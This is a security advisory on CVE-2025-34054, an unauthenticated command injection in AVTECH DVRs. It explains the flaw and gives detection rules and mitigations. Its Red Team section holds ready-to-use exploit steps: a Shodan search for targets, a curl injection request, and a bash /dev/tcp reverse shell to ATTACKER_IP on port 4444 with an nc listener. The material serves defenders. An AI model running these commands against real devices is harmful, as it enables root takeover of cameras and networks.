CVE-2025-34054

Executive Summary

CVE-2025-34054 is a critical, unauthenticated command injection vulnerability in AVTECH DVR devices. The flaw resides in the Search.cgi?action=cgi_query endpoint, where the username and queryb64str parameters are passed unsanitized to a wget command. An attacker can inject arbitrary shell commands, achieving remote code execution as root. Exploitation was first observed by the Shadowserver Foundation on 2025-01-04 UTC. No official patch is available at this time, and the vendor has not acknowledged the issue. The vulnerability is actively exploited in the wild, making immediate mitigation essential.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It affects embedded firmware on AVTECH DVR hardware. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system control, potential denial of service.

CVSS Score: 9.8 (Critical)
Threat Level: Critical – Active exploitation in the wild, no patch available.

Deep Dive & Mechanics

The vulnerability exists in the CGI script Search.cgi when called with the action=cgi_query parameter. The script constructs a wget command using user-supplied values for username and queryb64str without any sanitization or escaping. Because wget is executed via a shell (e.g., system() or popen()), an attacker can inject shell metacharacters such as ;, |, $(), or backticks to execute arbitrary commands.

Root Cause: The use of wget with unsanitized input. The wget command is likely used to fetch data from a remote server based on user input, but the input is concatenated directly into the command string.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to http://<target>/cgi-bin/Search.cgi?action=cgi_query&username=admin;id&queryb64str=.
2. The server constructs: wget http://some-server/... admin;id ... (simplified).
3. The shell interprets ;id as a new command, executing id as root.
4. The output of id is returned in the HTTP response or exfiltrated via a reverse shell.

Impact: Full remote code execution as root, allowing the attacker to install malware, pivot to internal networks, exfiltrate video feeds, or use the device in a botnet.

Vulnerable vs. Patched Code

Vulnerable Code (pseudocode):

// cgi-bin/Search.cgi
char cmd[1024];
snprintf(cmd, sizeof(cmd), "wget http://example.com/query?user=%s&data=%s", getenv("QUERY_username"), getenv("QUERY_queryb64str"));
system(cmd);

Patched Code (hypothetical):

// cgi-bin/Search.cgi
char *username = sanitize_input(getenv("QUERY_username"));
char *queryb64str = sanitize_input(getenv("QUERY_queryb64str"));
// Use a safe API that does not invoke a shell
execvp("/usr/bin/wget", args_array);

Explanation: The vulnerable code uses system() which invokes a shell. The patched code uses execvp() with an argument array, preventing shell injection. Additionally, input sanitization (e.g., removing ;, |, $) is applied.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: AVTECH DVR with vulnerable firmware.
• Attacker machine with netcat and curl.

Exploit Steps:

1. Identify target via Shodan dork: "AVTECH DVR" "Search.cgi".
2. Test for command injection:

   curl -v "http://<target>/cgi-bin/Search.cgi?action=cgi_query&username=admin;id&queryb64str="
   

3. If successful, execute a reverse shell:

   curl "http://<target>/cgi-bin/Search.cgi?action=cgi_query&username=admin;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'&queryb64str="
   

4. On attacker machine, listen:

   nc -lvnp 4444
   

Example Payload (URL-encoded):

http://<target>/cgi-bin/Search.cgi?action=cgi_query&username=admin%3Bbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.0.1%2F4444%200%3E%261%27&queryb64str=

Blue Team

Detection Steps:

1. Monitor HTTP logs for requests to /cgi-bin/Search.cgi with action=cgi_query and suspicious parameters (e.g., ;, |, $).
2. Look for outbound connections from DVR to unusual IPs/ports (e.g., 4444, 1337).
3. Check for processes spawned by wget with unusual arguments.
4. Use the Sigma rule below to detect exploitation attempts.

Honeypot Setup:

• Deploy a low-interaction honeypot mimicking the vulnerable endpoint.
• Log all requests and analyze for injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgi-bin/Search.cgi?action=cgi_query containing shell metacharacters.
• Outbound connections from DVR to attacker-controlled IPs on high ports (e.g., 4444, 8080).
• DNS queries to domains associated with known C2 infrastructure.

File IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., wget-log, .bash_history).
• Modified system binaries (e.g., /bin/wget replaced with a backdoor).
• Presence of common malware hashes (e.g., Mirai, Gafgyt).

Process IOCs:

• wget processes with arguments containing ;, |, or $().
• Shell processes (e.g., bash, sh) spawned by www-data or root.

Detection Engineering

YARA Rule

rule CVE_2025_34054_Exploit_Request {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-34054 in AVTECH DVR"
        author = "Valters IT"
        date = "2025-01-05"
        reference = "CVE-2025-34054"
    strings:
        $cgi = "/cgi-bin/Search.cgi?action=cgi_query" nocase
        $inject1 = /username=[^&]*[;|$`]/
        $inject2 = /queryb64str=[^&]*[;|$`]/
    condition:
        $cgi and ($inject1 or $inject2)
}

Sigma Rule

title: CVE-2025-34054 AVTECH DVR Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2025-34054 via HTTP request patterns
author: Valters IT
date: 2025-01-05
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/cgi-bin/Search.cgi?action=cgi_query"
        cs-uri-query|re: "(username|queryb64str)=.*[;|$`]"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in usernames (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34054 AVTECH DVR Command Injection Attempt"; flow:to_server; content:"/cgi-bin/Search.cgi?action=cgi_query"; http_uri; pcre:"/(username|queryb64str)=[^&]*[;|$`]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place AVTECH DVRs on a separate VLAN with strict firewall rules blocking inbound/outbound traffic to the internet.
2. Disable CGI access: If possible, remove or disable the Search.cgi script or restrict access to trusted IPs only.
3. Monitor logs: Enable detailed logging on the web server and review for exploitation attempts.

Long-term Fix:

• Vendor patch: Await an official firmware update from AVTECH. Contact the vendor for an ETA.
• Custom patch: If source code is available, apply input sanitization and replace system() with execvp().
• Replace device: Consider replacing the DVR with a supported, patched alternative.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious requests:

  location /cgi-bin/Search.cgi {
      if ($args ~* "(username|queryb64str)=.*[;|$`]") {
          return 403;
      }
      proxy_pass http://dvr_backend;
  }
  

Valters IT
Securing Digital Frontiers